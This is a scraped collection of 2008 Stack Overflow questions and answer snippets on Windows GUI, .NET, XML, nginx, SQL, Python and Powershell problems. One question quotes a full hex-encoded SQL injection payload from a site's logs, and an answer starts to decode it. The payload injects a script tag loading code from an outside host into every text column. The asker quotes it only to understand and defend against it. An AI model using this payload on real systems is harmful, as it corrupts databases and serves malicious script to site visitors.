.Return(new MockClass { SomeMessage = "Mocked" }); returnedClass = mainClass.MockThis(); provider.AssertWasCalled(item =&gt; item.MockedMethod()); Assert.IsTrue(returnedClass.SomeMessage == "Mocked"); } </code></pre>
[ { "answer_id": 369830, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 3, "selected": true, "text": "MockThis" }, { "answer_id": 55123368, "author": "Chris", "author_id": 9621801, "author_profile": "ht...
2008/12/15
[ "https://Stackoverflow.com/questions/369777", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21691/" ]
369,788
<p>I created a simple dialog-based application, and in the default CDialog added three buttons (by drag-and-dropping them) using the Visual Studio editor. </p> <p>The default OK and Cancel buttons are there too.</p> <p>I want to set the focus to button 1 when I click button 3.</p> <p>I set the property Flat to true in the properties for muy buttons.</p> <p>I coded this:</p> <pre><code>void CbuttonfocusDlg::OnBnClickedButton3() { // TODO: Add your control notification handler code here GetDlgItem(IDC_BUTTON1)-&gt;SetFocus(); Invalidate(); } </code></pre> <p>But the boder in button1 is never drawn. The caret (the dotted line indicating focus) is only drawn if I pressed TAB any time before clicking button 3. </p> <p>I want the button to look exactly as it looks after I click it. Showing the dotted line inside the button programatically, would be a plus.</p> <p>What I want:</p> <p><a href="https://i.stack.imgur.com/z8l0f.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z8l0f.png" alt="http://i33.tinypic.com/11t8pkl.png"></a> </p> <p>What I get: </p> <p><a href="https://i.stack.imgur.com/CgqLi.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CgqLi.png" alt="http://i37.tinypic.com/160q5hw.png"></a> </p>
[ { "answer_id": 371717, "author": "rec", "author_id": 14022, "author_profile": "https://Stackoverflow.com/users/14022", "pm_score": 1, "selected": true, "text": "static_cast<CButton*>(GetDlgItem(IDC_BUTTON1))->SetButtonStyle(BS_DEFPUSHBUTTON);\n" }, { "answer_id": 373060, "aut...
2008/12/15
[ "https://Stackoverflow.com/questions/369788", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14022/" ]
369,790
<p>I am creating a little testing component and am running into a problem</p> <p>Basically the component is a decorator on a class that controls all access to the database, it creates a form with a two buttons on it: "Simulate Lost Connection" and "Reconnect". Press the button, and instead of letting function calls pass through the wrapper starts throwing NoConnectionException()s nice and simple, and real helpful for testing.</p> <p>The problem is that this particular application when it detects a lost connection raises a modal dialog box "connection lost!" that sits there until the connection is regained. Because it is modal I cannot press my nifty button to simulate regained connectivity.</p> <p>What I need to do therefore is to run my little testing form in a different thread. I'm not absolutely sure how to do that. I tried</p> <pre><code>new Thread( new ThreadStart( (Action)delegate {_form.Start();} ) ).Start(); </code></pre> <p>But the thread closes as soon as the method returns so the form never shows up except for an instant.</p> <p>Any idea how I go about achieving what I want?</p>
[ { "answer_id": 369854, "author": "lubos hasko", "author_id": 275, "author_profile": "https://Stackoverflow.com/users/275", "pm_score": 1, "selected": false, "text": "new Thread(\n new ThreadStart((Action)delegate {\n _form.Start();\n System.Windows.Forms.Application.Run();...
2008/12/15
[ "https://Stackoverflow.com/questions/369790", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5056/" ]
369,792
<p>Here's a fictitious example of the problem I'm trying to solve. If I'm working in C#, and have XML like this:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;Cars&gt; &lt;Car&gt; &lt;StockNumber&gt;1020&lt;/StockNumber&gt; &lt;Make&gt;Nissan&lt;/Make&gt; &lt;Model&gt;Sentra&lt;/Model&gt; &lt;/Car&gt; &lt;Car&gt; &lt;StockNumber&gt;1010&lt;/StockNumber&gt; &lt;Make&gt;Toyota&lt;/Make&gt; &lt;Model&gt;Corolla&lt;/Model&gt; &lt;/Car&gt; &lt;SalesPerson&gt; &lt;Company&gt;Acme Sales&lt;/Company&gt; &lt;Position&gt; &lt;Salary&gt; &lt;Amount&gt;1000&lt;/Amount&gt; &lt;Unit&gt;Dollars&lt;/Unit&gt; ... and on... and on.... &lt;/SalesPerson&gt; &lt;/Cars&gt; </code></pre> <p>the XML inside SalesPerson can be very long, megabytes in size. I want to deserialize the tag, <strong>but</strong> not deserialize the SalesPerson XML element instead keeping it in raw form "for later on".</p> <p>Essentially I would like to be able to use this as a Objects representation of the XML.</p> <pre><code>[System.Xml.Serialization.XmlRootAttribute("Cars", Namespace = "", IsNullable = false)] public class Cars { [XmlArrayItem(typeof(Car))] public Car[] Car { get; set; } public Stream SalesPerson { get; set; } } public class Car { [System.Xml.Serialization.XmlElementAttribute("StockNumber")] public string StockNumber{ get; set; } [System.Xml.Serialization.XmlElementAttribute("Make")] public string Make{ get; set; } [System.Xml.Serialization.XmlElementAttribute("Model")] public string Model{ get; set; } } </code></pre> <p>where the SalesPerson property on the Cars object would contain a stream with the raw xml that is within the &lt;SalesPerson&gt; xml element after being run through an XmlSerializer.</p> <p>Can this be done? Can I choose to only deserialize "part of" an xml document?</p> <p>Thanks! -Mike</p> <p>p.s. example xml stolen from <a href="https://stackoverflow.com/questions/364253/how-to-deserialize-xml-document">How to Deserialize XML document</a></p>
[ { "answer_id": 1189880, "author": "John Saunders", "author_id": 76337, "author_profile": "https://Stackoverflow.com/users/76337", "pm_score": 1, "selected": false, "text": "XmlElement" }, { "answer_id": 2251545, "author": "user271807", "author_id": 271807, "author_pro...
2008/12/15
[ "https://Stackoverflow.com/questions/369792", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5198/" ]
369,794
<p>I've seen a few examples of RSS Feeds in ASP.NET MVC, like <a href="https://stackoverflow.com/questions/11915/rss-feeds-in-aspnet-mvc">this</a>, and some samples in projects (like Oxite), but none of them are complete. </p> <p>Eg. None of them check for the header </p> <pre><code> If-Modified-Since </code></pre> <p>in the request, to save bandwidth.</p> <p>I do not want to reinvent the wheel, so I stop here asking for some directions.</p>
[ { "answer_id": 370014, "author": "Trevor de Koekkoek", "author_id": 41783, "author_profile": "https://Stackoverflow.com/users/41783", "pm_score": 2, "selected": false, "text": "function SyndicationFeed GetFeed(string url) {\n XmlReader reader = XmlReader.Create(url);\n SyndicationFeed ...
2008/12/15
[ "https://Stackoverflow.com/questions/369794", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2385/" ]
369,815
<p>Is there a way to control the number of displayed rows in a DropDownList control? I'd like it to only display 10 rows, but it defaults to 30. This causes the list to appear higher than the control instead of below it because of its position on the page.</p>
[ { "answer_id": 369878, "author": "Grant Wagner", "author_id": 9254, "author_profile": "https://Stackoverflow.com/users/9254", "pm_score": 1, "selected": true, "text": "<select>" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23935/" ]
369,850
<p>So I am following this guide: <a href="http://technotes.1000lines.net/?p=23" rel="noreferrer">http://technotes.1000lines.net/?p=23</a> and I am going through the steps. I have a VPN (slicehost.com) with Debian Etch, serving a website (static so far) with nginx. I used wget to download FastCGI and I did the usual make make install routine. </p> <p>So I guess since FastCGI can't normally run CGI scripts you have to use some type of perl wrapper to interpret the perl.</p> <p>Now I run this script</p> <p><a href="http://technotes.1000lines.net/fastcgi-wrapper.pl" rel="noreferrer">http://technotes.1000lines.net/fastcgi-wrapper.pl</a></p> <p>and I run into the exact same problem that a person ran into on the page that the script was submitted: </p> <p><a href="http://www.ruby-forum.com/topic/145858" rel="noreferrer">http://www.ruby-forum.com/topic/145858</a></p> <p>(I'm not a ruby person and there is nothing ruby oriented in there)</p> <p>I keep getting a </p> <pre><code># bind/listen: No such file or directory </code></pre> <p>And I have no idea how to proceed. I would appreciate any help and I can give any more details that anyone would need.</p>
[ { "answer_id": 369885, "author": "Leon Timmermans", "author_id": 4727, "author_profile": "https://Stackoverflow.com/users/4727", "pm_score": 5, "selected": true, "text": "bind" }, { "answer_id": 3432814, "author": "polemon", "author_id": 414121, "author_profile": "htt...
2008/12/15
[ "https://Stackoverflow.com/questions/369850", "https://Stackoverflow.com", "https://Stackoverflow.com/users/44346/" ]
369,856
<p>For example, I have a pet table and a lost pets table. I want to get all of the pets that are NOT lost with 1 join and no sub-selects. Is that possible? A typical join only returns results that are in both tables.</p>
[ { "answer_id": 369863, "author": "mat", "author_id": 42083, "author_profile": "https://Stackoverflow.com/users/42083", "pm_score": 2, "selected": false, "text": "SELECT *\nFROM pets LEFT OUTER JOIN pets-lost ON pets.id = pets-lost.id\nWHERE pets-lost.id IS NULL;\n" }, { "answer_i...
2008/12/15
[ "https://Stackoverflow.com/questions/369856", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46443/" ]
369,862
<p>I recently purchased a 2D Barcode reader. When scanning a U.P.S. barcode, I get about half of the information I want, and about half of it looks to be encrypted in some way. I have heard there is a UPS DLL.</p> <p>Example - Everything in bold seems to be encrypted, while the non-bold text contains valuable, legitimate data. </p> <p>[)>01961163522424800031Z50978063UPSN12312307G:%"6*AH537&amp;M9&amp;QXP2E:)16(E&amp;539R'64O</p> <p>In other words, this text seems OK - and I can parse the information [)>01961163522424800031Z50978063UPSN123123 ...</p> <p>While, this data seems to be encrypted ... 07G:%"6*AH537&amp;M9&amp;QXP2E:)16(E&amp;539R'64O</p> <p>Any Ideas???</p> <hr> <p>Everything I read on the internet says I should be able to read this thing. I'm just not finding any information on specifics. The "encrypted" info contains street address, package number (like 1/2), weight, and several other items Im dying to get my hands on. I suppose I will contact UPS directly. Thanks.</p>
[ { "answer_id": 23460855, "author": "djmitche", "author_id": 2737366, "author_profile": "https://Stackoverflow.com/users/2737366", "pm_score": 0, "selected": false, "text": "'07'" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369862", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46482/" ]
369,873
<p>Is it possible to set the DataContext property of a usercontrol after the user control has been loaded, and force the usercontrol to rebind?</p>
[ { "answer_id": 11035697, "author": "Jon Kelling", "author_id": 1456550, "author_profile": "https://Stackoverflow.com/users/1456550", "pm_score": 1, "selected": false, "text": "MyDataGrid.SetBinding(DataGrid.ItemsSourceProperty, \n MyDataGrid.GetBindingExpression(DataGrid.ItemsSourcePr...
2008/12/15
[ "https://Stackoverflow.com/questions/369873", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9266/" ]
369,889
<p>The GUI for managing plugins in Eclipse got a bit of an overhaul in version 3.4.0. This GUI is accessed via the &quot;Software Updates...&quot; option in the Help menu.</p> <p>The option to remove the selected Mylyn plugin is greyed out. In fact, this is true of virtually every installed plugin. I know that the Mylyn plugins are optional, so why amn't I provided with an option to remove them?</p>
[ { "answer_id": 3322100, "author": "Bostone", "author_id": 135946, "author_profile": "https://Stackoverflow.com/users/135946", "pm_score": 4, "selected": false, "text": "Help->Install New Software" }, { "answer_id": 69034203, "author": "Gerold Broser", "author_id": 1744774...
2008/12/15
[ "https://Stackoverflow.com/questions/369889", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2648/" ]
369,898
<p>In python, is there a difference between calling <code>clear()</code> and assigning <code>{}</code> to a dictionary? If yes, what is it? Example:<pre><code>d = {"stuff":"things"} d.clear() #this way d = {} #vs this way </code></pre></p>
[ { "answer_id": 369925, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 9, "selected": true, "text": ">>> d = {\"stuff\": \"things\"}\n>>> d2 = d\n>>> d = {}\n>>> d2\n{'stuff': 'things'}\n>>> d = {\"stuff\": \"things\"}\n>>>...
2008/12/15
[ "https://Stackoverflow.com/questions/369898", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22724/" ]
369,908
<p>I have a database which gets updated with 200-1000 new rows per day. Now, I'd like to have an SQL-statement which returns the data day-by-day, hour-by-hour so I can give a rough estimate for the current trend, i.e. how many rows will be added to the database today, just by taking a quick look at those historical graphs.</p> <p>So, say that I would like to have 10 graphs printed out for the last 10 days, with the data summed up for every hour, like:</p> <p>Day9:21,24,15,18,...,30,28,25 : tot 348 (number of rows per hour for day 9 and the total) Day8:32,37,38,43,...,45,55,65 : tot 442 (number of rows per hour for day 8 and the total) ... ... Day0:18,25,28,X,Y... : tot 'S' (stats for today so far. What will S be?)</p> <p>How would the SQL-statement look like to collect the data in this day-by-day, hour-for-hour fashion?</p> <p>Instead of looking at the graps visually in order to give a rough estimate of today's total 'S', even better would be to compute a prediction of 'S'. But that would be a completely other problem I guess... Any tips for how to do that or hints where I can get more information would be much appreciated!</p> <p>Thanks, /Tommy</p>
[ { "answer_id": 369929, "author": "mat", "author_id": 42083, "author_profile": "https://Stackoverflow.com/users/42083", "pm_score": 3, "selected": false, "text": "SELECT date_trunc('hour', table.date), count(table.id)\nFROM table\nGROUP BY date_trunc('hour', table.date)\nORDER BY date_tru...
2008/12/15
[ "https://Stackoverflow.com/questions/369908", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,948
<p>I am working through some of the exercises in The C++ Programming Language by Bjarne Stroustrup. I am confused by problem 11 at the end of Chapter 12:</p> <blockquote>(*5) Design and implement a library for writing event-driven simulations. Hint: &lt;task.h&gt;. ... An object of class task should be able to save its state and to have that state restored so that it can operate as a coroutine. Specific tasks can be defined as objects of classes derived from task. The program to be executed by a task might be defined as a virtual function. ... There should be a scheduler implementing a concept of virtual time. ... The tasks will need to communicate. Design a class queue for that. ...</blockquote> <p>I am not sure exactly what this is asking for. Is a task a separate thread? (As far as I know it is not possible to create a new thread without system calls, and since this is a book about C++ I do not believe that is the intent.) Without interrupts, how is it possible to start and stop a running function? I assume this would involve busy waiting (which is to say, continually loop and check a condition) although I cannot see how that could be applied to a function that might not terminate for some time (if it contains an infinite loop, for example).</p> <p><strong>EDIT:</strong> Please see my post below with more information.</p>
[ { "answer_id": 370172, "author": "Max Lybbert", "author_id": 10593, "author_profile": "https://Stackoverflow.com/users/10593", "pm_score": 3, "selected": true, "text": "class Scheduler {\n std::list<*ITask> tasks;\n public:\n void run()\n {\n while (1) // or at least unt...
2008/12/15
[ "https://Stackoverflow.com/questions/369948", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18091/" ]
369,965
<p>I'm making list of items in categories, problem is that item can be in multiple categories. What is your best practice to store items in categories and how list all items within category and its child categories? I am using Zend Framework and MySQL to solve this issue.</p> <p>Thanks for your replies.</p> <p>Sorry for my English :)</p>
[ { "answer_id": 369980, "author": "Ian Varley", "author_id": 37539, "author_profile": "https://Stackoverflow.com/users/37539", "pm_score": 4, "selected": true, "text": "CREATE TABLE Item(\n item_id INT NOT NULL, \n item_name VARCHAR(255) NOT NULL\n)\nCREATE TABLE Category(\n category_i...
2008/12/15
[ "https://Stackoverflow.com/questions/369965", "https://Stackoverflow.com", "https://Stackoverflow.com/users/43182/" ]
369,971
<p>Let's pretend I have the following xaml...</p> <p></p> <pre><code>&lt;UserControl.Resources&gt; &lt;local:ViewModel x:Name="viewModel" /&gt; &lt;local:LoadChildrenValueConverter x:Name="valueConverter" /&gt; &lt;/UserControl.Resources&gt; &lt;UserControl.DataContext&gt; &lt;Binding Source="{StaticResource viewModel}" /&gt; &lt;/UserControl.DataContext&gt; &lt;Grid x:Name="LayoutRoot" Background="White"&gt; &lt;control:TreeView ItemsSource="{Binding Root}"&gt; &lt;control:TreeView.ItemTemplate&gt; &lt;control:HierarchicalDataTemplate ItemsSource="{Binding Converter={StaticResource valueConverter}}"&gt; &lt;TextBlock Text="{Binding}" /&gt; &lt;/control:HierarchicalDataTemplate&gt; &lt;/control:TreeView.ItemTemplate&gt; &lt;/control:TreeView&gt; &lt;/Grid&gt; </code></pre> <p></p> <p>...and the following code to go with it...</p> <pre> using System; using System.Collections.ObjectModel; using System.Windows.Data; namespace SilverlightViewModelSpike { public class ViewModel { public ViewModel() { Root = new ObservableCollection() { "Item 1", "Item 2", "Item 3", }; } public ObservableCollection Root { get; private set; } } public class LoadChildrenValueConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { return new ObservableCollection() { "Item 1", "Item 2", "Item 3", }; } public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { throw new NotImplementedException(); } } } </pre> <p>This works as expected, but it feels wrong that I have two separate classes that are required in order to grab the needed data for my view (imagine that ViewModel and LoadChildrenValueConverter pulled data from a web service instead of returning hard coded data). Is there a better solution here? I was thinking maybe something like this...</p> <pre> using System; using System.Collections.ObjectModel; using System.Windows.Data; namespace SilverlightViewModelSpike { public class ViewModel { public ViewModel() { Root = new ObservableCollection() { "Item 1", "Item 2", "Item 3", }; ValueConverter = new LoadChildrenValueConverter(); } public ObservableCollection Root { get; private set; } public LoadChildrenValueConverter ValueConverter { get; private set; } } public class LoadChildrenValueConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { return new ObservableCollection() { "Item 1", "Item 2", "Item 3", }; } public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { throw new NotImplementedException(); } } } </pre> <p>... but then i can't get this line to work...</p> <p><code>&lt;control:HierarchicalDataTemplate ItemsSource="{???}"</code>></p> <p>...and even that doesn't seem like a great solution. Does anyone have a nice clean solution for this?</p>
[ { "answer_id": 370468, "author": "Matt Hamilton", "author_id": 615, "author_profile": "https://Stackoverflow.com/users/615", "pm_score": 3, "selected": true, "text": "public class ViewModel\n{\n public ObservableCollection Root { get; set: }\n\n public ObservableCollection Children...
2008/12/15
[ "https://Stackoverflow.com/questions/369971", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13181/" ]
369,978
<p>Assuming that writing nhibernate mapping files is not a big issue....or polluting your domain objects with attributes is not a big issue either....</p> <p>what are the pros and cons?</p> <p>is there any fundamental technical issues? What tends to influence peoples choice?</p> <p>not quite sure what all the tradeoffs are.</p>
[ { "answer_id": 370876, "author": "Neil Hewitt", "author_id": 22178, "author_profile": "https://Stackoverflow.com/users/22178", "pm_score": 5, "selected": true, "text": "ActiveRecordBase<T>" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369978", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10431/" ]
369,981
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="https://stackoverflow.com/questions/200545/attempted-sql-injection-attack-what-are-they-trying-to-do">Attempted SQL injection attack - what are they trying to do?</a> </p> </blockquote> <p>I have seen this SQL injection attempt on my site many times in the last few months. </p> <pre><code>';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); </code></pre> <p>After going through my code, I'm sure I'm protected because I query against an in-memory dataset rather than the database itself. However, even though I'm sure I'm protected, I don't fully understand what's going on with this attack attempt and would like to figure it out so I can avoid writing code in the future that may be vulnerable to it.</p> <p>Can anyone explain to me what these hackers are attempting to do with this code?</p> <p>Thanks.</p> <p>-This code is getting appended to the query string as well as getting sent as post data.</p>
[ { "answer_id": 369992, "author": "Jimmy", "author_id": 4435, "author_profile": "https://Stackoverflow.com/users/4435", "pm_score": 5, "selected": true, "text": "DECLARE \n @T varchar(255),\n @C varchar(4000) \n\nDECLARE Table_Cursor CURSOR FOR \n select a.name,b.name \n from ...
2008/12/15
[ "https://Stackoverflow.com/questions/369981", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10420/" ]
369,986
<p>What language(s) have comments with side effects? In essence, comments which are <strong>not</strong> comments....</p>
[ { "answer_id": 394263, "author": "Jonathan Leffler", "author_id": 15168, "author_profile": "https://Stackoverflow.com/users/15168", "pm_score": 3, "selected": true, "text": "--#" }, { "answer_id": 904487, "author": "Stewart", "author_id": 85695, "author_profile": "htt...
2008/12/15
[ "https://Stackoverflow.com/questions/369986", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2167252/" ]
369,990
<p>I find the standard Powershell display of errors (red text, multi-line display) a bit distracting. Is it possible to customize this?</p>
[ { "answer_id": 370052, "author": "Don Jones", "author_id": 40405, "author_profile": "https://Stackoverflow.com/users/40405", "pm_score": 5, "selected": true, "text": "$host" }, { "answer_id": 575833, "author": "JasonMArcher", "author_id": 64046, "author_profile": "htt...
2008/12/15
[ "https://Stackoverflow.com/questions/369990", "https://Stackoverflow.com", "https://Stackoverflow.com/users/34438/" ]